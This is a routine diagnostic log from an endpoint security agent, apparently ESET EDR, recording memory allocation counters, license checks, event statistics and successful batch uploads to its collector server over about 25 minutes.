2026-03-04 00:44:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 1499 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 574 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 516 KB; ModuleMetadata: 465 KB; BaseEvent: 117 KB; ModuleInfoCache: 81 KB; CacheEntry: 76 KB; rules::ProcessConditionsCache: 52 KB; cloudutils::CloudData: 31 KB; BatchSerializer::EventsQueueTag: 30 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 8 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 7 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 65500 KB;
2026-03-04 00:45:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 1860 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 559 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 516 KB; ModuleMetadata: 465 KB; BaseEvent: 296 KB; ModuleInfoCache: 81 KB; BatchSerializer::EventsQueueTag: 77 KB; CacheEntry: 76 KB; rules::ProcessConditionsCache: 41 KB; cloudutils::CloudData: 31 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 8 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 7 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66061 KB;
2026-03-04 00:46:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2244 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 540 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 519 KB; BaseEvent: 478 KB; ModuleMetadata: 465 KB; BatchSerializer::EventsQueueTag: 125 KB; ModuleInfoCache: 81 KB; CacheEntry: 76 KB; rules::ProcessConditionsCache: 42 KB; cloudutils::CloudData: 31 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 8 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 6 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66660 KB;
2026-03-04 00:47:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2394 KB; rules::AncestorEvaluations: 551 KB; BaseEvent: 534 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 525 KB; TcpIpConnectionsManager: 488 KB; ModuleMetadata: 465 KB; rules::ProcessConditionsCache: 269 KB; BatchSerializer::EventsQueueTag: 143 KB; ModuleInfoCache: 81 KB; CacheEntry: 76 KB; cloudutils::CloudData: 31 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 17 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 4 KB; BatchStringTag: 0 KB; Total: 67077 KB;
2026-03-04 00:48:08 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 00:48:08 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 00:48:08 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 00:48:08 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 00:48:25 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 00:48:25 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 00:48:25 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 00:48:25 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 00:48:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2420 KB; rules::AncestorEvaluations: 551 KB; BaseEvent: 545 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 527 KB; ModuleMetadata: 465 KB; TcpIpConnectionsManager: 363 KB; rules::ProcessConditionsCache: 232 KB; BatchSerializer::EventsQueueTag: 147 KB; ModuleInfoCache: 81 KB; CacheEntry: 76 KB; cloudutils::CloudData: 31 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 12 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 4 KB; BatchStringTag: 0 KB; Total: 66953 KB;
2026-03-04 00:49:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2473 KB; BaseEvent: 565 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 528 KB; ModuleMetadata: 465 KB; rules::ProcessConditionsCache: 238 KB; TcpIpConnectionsManager: 227 KB; BatchSerializer::EventsQueueTag: 154 KB; ModuleInfoCache: 81 KB; CacheEntry: 76 KB; cloudutils::CloudData: 31 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 11 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 4 KB; BatchStringTag: 0 KB; Total: 66904 KB;
2026-03-04 00:50:42 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 00:44:14, To:, 2026-03-04 00:50:42, Duration (s):, 388, Events Per Second:, 10.619, Events:, 4125, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3461, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 663, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 458844
2026-03-04 00:50:45 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s959ms.
2026-03-04 00:50:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 668 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 529 KB; ModuleMetadata: 465 KB; TcpIpConnectionsManager: 337 KB; rules::ProcessConditionsCache: 205 KB; ModuleInfoCache: 81 KB; CacheEntry: 76 KB; BaseEvent: 33 KB; cloudutils::CloudData: 31 KB; rules::CachedConditionEvaluationCtx: 22 KB; BatchSerializer::EventsQueueTag: 9 KB; ProcessInfoCommandLineTag: 8 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 7 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 64494 KB;
2026-03-04 00:51:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 1031 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 531 KB; ModuleMetadata: 465 KB; TcpIpConnectionsManager: 445 KB; BaseEvent: 218 KB; rules::ProcessConditionsCache: 189 KB; ModuleInfoCache: 81 KB; CacheEntry: 76 KB; BatchSerializer::EventsQueueTag: 56 KB; cloudutils::CloudData: 31 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 8 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 65184 KB;
2026-03-04 00:52:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 1392 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 552 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 547 KB; ModuleMetadata: 465 KB; BaseEvent: 399 KB; rules::ProcessConditionsCache: 170 KB; BatchSerializer::EventsQueueTag: 103 KB; ModuleInfoCache: 81 KB; CacheEntry: 76 KB; cloudutils::CloudData: 31 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 8 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 65877 KB;
2026-03-04 00:53:09 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 00:53:09 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 00:53:09 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 00:53:09 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 00:53:25 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 00:53:25 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 00:53:25 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 00:53:25 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 00:53:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 1753 KB; BaseEvent: 578 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 553 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 512 KB; ModuleMetadata: 465 KB; rules::ProcessConditionsCache: 161 KB; BatchSerializer::EventsQueueTag: 151 KB; ModuleInfoCache: 81 KB; CacheEntry: 76 KB; cloudutils::CloudData: 31 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 8 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 7 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66421 KB;
2026-03-04 00:54:50 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 00:50:42, To:, 2026-03-04 00:54:50, Duration (s):, 248, Events Per Second:, 16.400, Events:, 4079, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3360, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 718, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 455637
2026-03-04 00:54:53 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s333ms.
2026-03-04 00:54:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 1301 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 551 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 535 KB; ModuleMetadata: 465 KB; rules::ProcessConditionsCache: 188 KB; ModuleInfoCache: 81 KB; CacheEntry: 76 KB; cloudutils::CloudData: 31 KB; rules::CachedConditionEvaluationCtx: 22 KB; BaseEvent: 15 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 7 KB; BatchSerializer::EventsQueueTag: 5 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 65309 KB;
2026-03-04 00:55:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 1429 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 546 KB; ModuleMetadata: 504 KB; TcpIpConnectionsManager: 437 KB; rules::ProcessConditionsCache: 306 KB; BaseEvent: 110 KB; ModuleInfoCache: 85 KB; CacheEntry: 80 KB; cloudutils::CloudData: 33 KB; BatchSerializer::EventsQueueTag: 29 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 8 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 6 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 65617 KB;
2026-03-04 00:56:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 1429 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 546 KB; ModuleMetadata: 504 KB; rules::ProcessConditionsCache: 306 KB; TcpIpConnectionsManager: 284 KB; BaseEvent: 111 KB; ModuleInfoCache: 85 KB; CacheEntry: 80 KB; cloudutils::CloudData: 33 KB; BatchSerializer::EventsQueueTag: 30 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 8 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 6 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 65466 KB;
2026-03-04 00:57:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 1429 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 546 KB; ModuleMetadata: 504 KB; rules::ProcessConditionsCache: 306 KB; TcpIpConnectionsManager: 125 KB; BaseEvent: 113 KB; ModuleInfoCache: 85 KB; CacheEntry: 80 KB; cloudutils::CloudData: 33 KB; BatchSerializer::EventsQueueTag: 31 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 8 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 6 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 65309 KB;
2026-03-04 00:58:09 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 00:58:09 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 00:58:09 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 00:58:09 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 00:58:25 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 00:58:25 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 00:58:25 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 00:58:25 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 00:58:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 1429 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 546 KB; ModuleMetadata: 504 KB; rules::ProcessConditionsCache: 306 KB; BaseEvent: 115 KB; ModuleInfoCache: 85 KB; CacheEntry: 80 KB; TcpIpConnectionsManager: 63 KB; cloudutils::CloudData: 33 KB; BatchSerializer::EventsQueueTag: 32 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 8 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 6 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 65250 KB;
2026-03-04 00:59:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 1429 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 546 KB; ModuleMetadata: 504 KB; rules::ProcessConditionsCache: 306 KB; BaseEvent: 116 KB; ModuleInfoCache: 85 KB; CacheEntry: 80 KB; TcpIpConnectionsManager: 63 KB; cloudutils::CloudData: 33 KB; BatchSerializer::EventsQueueTag: 32 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 8 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 6 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 65251 KB;
2026-03-04 01:00:18 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 00:54:50, To:, 2026-03-04 01:00:17, Duration (s):, 327, Events Per Second:, 18.356, Events:, 6020, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 4976, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 53, Livegrid:, 53, OriginUrl:, 0, Alarms:, 937, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 668062
2026-03-04 01:00:20 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s129ms.
2026-03-04 01:00:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2445 KB; TcpIpConnectionsManager: 1123 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 552 KB; rules::AncestorEvaluations: 551 KB; ModuleMetadata: 504 KB; BaseEvent: 117 KB; ModuleInfoCache: 85 KB; CacheEntry: 80 KB; rules::ProcessConditionsCache: 66 KB; cloudutils::CloudData: 33 KB; BatchSerializer::EventsQueueTag: 30 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 19 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 11 KB; ExtendedTcpIpConnectionInfo: 5 KB; BatchStringTag: 0 KB; Total: 67112 KB;
2026-03-04 01:01:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2809 KB; TcpIpConnectionsManager: 1285 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 553 KB; rules::AncestorEvaluations: 551 KB; ModuleMetadata: 504 KB; BaseEvent: 296 KB; ModuleInfoCache: 85 KB; CacheEntry: 80 KB; BatchSerializer::EventsQueueTag: 78 KB; rules::ProcessConditionsCache: 42 KB; cloudutils::CloudData: 33 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 19 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 5 KB; BatchStringTag: 0 KB; Total: 67840 KB;
2026-03-04 01:02:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 3171 KB; TcpIpConnectionsManager: 1434 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 553 KB; rules::AncestorEvaluations: 551 KB; ModuleMetadata: 504 KB; BaseEvent: 475 KB; BatchSerializer::EventsQueueTag: 123 KB; ModuleInfoCache: 85 KB; CacheEntry: 80 KB; cloudutils::CloudData: 33 KB; rules::ProcessConditionsCache: 27 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 19 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 4 KB; BatchStringTag: 0 KB; Total: 68560 KB;
2026-03-04 01:03:09 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 01:03:09 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 01:03:09 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 01:03:09 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 01:03:25 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 01:03:25 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 01:03:25 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 01:03:25 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 01:03:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 3530 KB; BaseEvent: 652 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 554 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 547 KB; ModuleMetadata: 504 KB; BatchSerializer::EventsQueueTag: 170 KB; ModuleInfoCache: 85 KB; CacheEntry: 80 KB; cloudutils::CloudData: 33 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 19 KB; rules::ProcessConditionsCache: 16 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 7 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 68243 KB;
2026-03-04 01:04:26 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 01:00:17, To:, 2026-03-04 01:04:26, Duration (s):, 249, Events Per Second:, 16.620, Events:, 4151, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3430, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 720, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 460903
2026-03-04 01:04:28 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s410ms.
2026-03-04 01:04:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 1455 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 556 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 517 KB; ModuleMetadata: 504 KB; BaseEvent: 87 KB; ModuleInfoCache: 85 KB; CacheEntry: 80 KB; cloudutils::CloudData: 33 KB; rules::CachedConditionEvaluationCtx: 22 KB; BatchSerializer::EventsQueueTag: 22 KB; ProcessInfoCommandLineTag: 9 KB; rules::ProcessConditionsCache: 7 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 7 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 65406 KB;
2026-03-04 01:05:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 1828 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 542 KB; TcpIpConnectionsManager: 532 KB; ModuleMetadata: 504 KB; BaseEvent: 263 KB; ModuleInfoCache: 85 KB; CacheEntry: 80 KB; BatchSerializer::EventsQueueTag: 70 KB; cloudutils::CloudData: 33 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 8 KB; rules::ProcessConditionsCache: 3 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66001 KB;
2026-03-04 01:06:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2139 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 540 KB; TcpIpConnectionsManager: 512 KB; ModuleMetadata: 504 KB; BaseEvent: 417 KB; rules::ProcessConditionsCache: 347 KB; BatchSerializer::EventsQueueTag: 110 KB; ModuleInfoCache: 85 KB; CacheEntry: 80 KB; cloudutils::CloudData: 33 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 7 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66829 KB;
2026-03-04 01:07:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2502 KB; BaseEvent: 598 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 543 KB; TcpIpConnectionsManager: 511 KB; ModuleMetadata: 504 KB; rules::ProcessConditionsCache: 335 KB; BatchSerializer::EventsQueueTag: 157 KB; ModuleInfoCache: 85 KB; CacheEntry: 80 KB; cloudutils::CloudData: 33 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 7 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67409 KB;
2026-03-04 01:08:09 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 01:08:09 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 01:08:09 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 01:08:09 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 01:08:25 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 01:08:25 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 01:08:25 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 01:08:25 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 01:08:45 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 01:04:26, To:, 2026-03-04 01:08:45, Duration (s):, 259, Events Per Second:, 15.867, Events:, 4124, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3406, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 1, Livegrid:, 1, OriginUrl:, 0, Alarms:, 715, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 458734
2026-03-04 01:08:47 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s384ms.
